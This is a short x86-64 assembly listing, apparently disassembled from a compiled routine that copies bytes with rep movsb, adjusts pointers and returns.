rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14063e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20